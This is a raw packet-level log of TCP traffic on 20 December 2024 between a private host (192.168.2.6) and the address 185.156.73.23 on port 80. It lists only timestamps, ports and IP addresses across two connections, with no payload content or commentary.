Dec 20, 2024 16:36:43.949712038 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.949747086 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.952065945 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.952106953 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.952136040 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.952214003 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.954720974 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.954852104 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.955272913 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.955308914 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.957215071 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.957298040 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.957483053 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.957576990 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.959718943 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.959760904 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.959822893 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.959871054 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.962490082 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.962541103 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.962551117 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.962582111 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.966049910 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.966098070 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.966892004 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.966902971 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.966943979 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.967221022 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.967271090 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.969086885 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.969100952 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.969136000 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.970752001 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.970798016 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.971055984 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.971091032 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.972872972 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.972944021 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.973388910 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.973427057 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.974714994 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.975373030 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.975418091 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.976679087 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.976715088 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.976762056 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.978667974 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.978703022 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.978746891 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.981587887 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.982101917 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.982165098 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.982635975 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.982676029 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.982991934 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.983361006 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.984886885 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.984941959 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.985519886 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.985570908 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.986464024 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.986516953 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.987478018 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.987744093 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.988287926 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.988337994 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.988476038 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.988518000 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.990257978 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.990346909 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:43.990627050 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:43.990674019 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.027457952 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.028491020 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.028506994 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.028577089 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.028687000 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.029537916 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.030080080 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.030129910 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.030797958 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.030847073 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.100120068 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.100217104 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.100219011 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.100261927 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.100914001 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.100979090 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.101054907 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.101098061 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.102489948 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.102596998 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.102828979 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.102914095 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.104114056 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.104204893 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.104224920 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.104264975 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.105731010 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.105782032 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.105920076 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.105961084 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.107439041 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.107515097 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.107758045 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.107878923 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.108823061 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.108910084 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.109787941 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.109848022 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.110359907 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.110502005 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.110656977 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.110702991 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.111948967 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.112023115 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.112242937 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.112603903 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.113377094 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.113481998 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.113491058 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.113533020 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.114854097 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.114901066 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.114949942 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.114989042 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.116297960 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.116343021 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.116379023 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.116544008 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.117739916 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.117809057 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.118021965 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.118066072 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.119175911 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.119223118 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.119280100 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.119328022 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.120635033 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.120682001 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.120775938 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.120908022 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.122098923 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.122148991 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.122268915 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.122318983 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.123613119 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.123836994 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.123903990 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.123949051 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.125044107 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.125094891 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.125294924 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.125336885 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.126475096 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.126517057 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.176848888 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.177304029 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.297138929 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.297236919 CET	80	49955	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:44.297462940 CET	49955	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.297463894 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.297679901 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:44.417176008 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:45.875910997 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:45.875946999 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:45.875958920 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:45.876106977 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:45.876180887 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:45.876229048 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:45.876254082 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:45.876269102 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:45.876282930 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:45.876300097 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:45.876333952 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:45.876874924 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:45.876888037 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:45.876902103 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:45.876921892 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:45.876961946 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:45.995709896 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:45.995841026 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:45.995903015 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.000000000 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.000065088 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.068459988 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.068752050 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.068835974 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.072757959 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.072793961 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.072855949 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.081285954 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.081345081 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.081358910 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.081386089 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.089509964 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.089586973 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.089665890 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.089790106 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.098036051 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.098130941 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.098182917 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.098221064 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.106328011 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.106393099 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.106455088 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.106542110 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.114768982 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.114872932 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.115221024 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.115319014 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.123109102 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.123163939 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.123222113 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.131529093 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.131592989 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.131856918 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.131988049 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.140120983 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.140163898 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.140211105 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.140240908 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.148339987 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.148377895 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.148438931 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.260478973 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.260653019 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.260766983 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.261923075 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.262073994 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.262162924 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.266948938 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.267154932 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.267232895 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.271888971 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.271975994 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.272058010 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.276676893 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.276995897 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.277102947 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.281693935 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.282732964 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.282820940 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.286408901 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.287231922 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.287309885 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.291102886 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.291204929 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.291279078 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.295783043 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.296005011 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.296086073 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.300632954 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.300666094 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.300753117 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.305706024 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.305795908 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.305905104 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.310451031 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.310915947 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.311008930 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.314696074 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.314965963 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.315051079 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.319557905 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.319644928 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.319700956 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.319776058 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.324271917 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.324336052 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.324418068 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.324490070 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.329145908 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.329204082 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.329315901 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.329447031 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.452898026 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.453022003 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.453272104 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.453316927 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.453962088 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.454175949 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.454231024 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.454282045 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.457973003 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.458076000 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.458214998 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.458404064 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.462270021 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.462310076 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.462369919 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.462369919 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.465940952 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.466017008 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.467195988 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.467300892 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.469881058 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.470005989 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.470227003 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.470310926 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.473835945 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.473957062 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.474096060 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.477756977 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.477824926 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.477853060 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.477922916 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.481723070 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.481874943 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.481904984 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.482264042 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.485737085 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.485881090 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.486166954 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.486253023 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.489763975 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.489931107 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.489965916 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.490019083 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.493580103 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.493690014 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.494174004 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.494272947 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.497637033 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.497651100 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.498083115 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.501597881 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.501728058 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.502259970 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.502430916 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.505423069 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.505563021 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.505598068 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.505791903 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.509440899 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.509499073 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.509536028 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.509582996 CET	49962	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:46.513611078 CET	80	49962	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:46.513693094 CET	80	49962	185.156.73.23	192.168.2.6
